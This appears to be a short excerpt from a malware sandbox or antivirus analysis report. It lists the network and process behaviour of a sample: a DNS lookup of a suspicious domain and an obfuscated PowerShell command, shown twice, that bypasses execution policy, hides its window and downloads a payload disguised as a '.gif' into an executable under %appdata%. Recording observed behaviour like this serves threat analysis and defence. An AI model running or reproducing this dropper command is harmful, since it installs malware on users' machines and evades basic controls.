Technical Information
- http://www.freeflamec.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POwERSHeLL.ExE -eXeCutIONpoLicY bYPaSS -NopROFile -wINdOWSTyle HIdDeN (nEW-OBJEct SySTeM.Net.WeBClIEnT).DOWNlOADFIle('http://www.freeflamec.top/read.php?f=1.gif','%apPdAta%.eXe');...
- DNS ASK fr###lamec.top
- '<SYSTEM32>\cmd.exe' /c "POwERSHeLL.ExE -eXeCutIONpoLicY bYPaSS -NopROFile -wINdOWSTyle HIdDeN (nEW-OBJEct SySTeM.Net.WeBClIEnT).DOWNlOADFIle('http://www.freeflamec.top/read.php?f=1.gif','%apPdAta%.eXe');...' (with hidden window)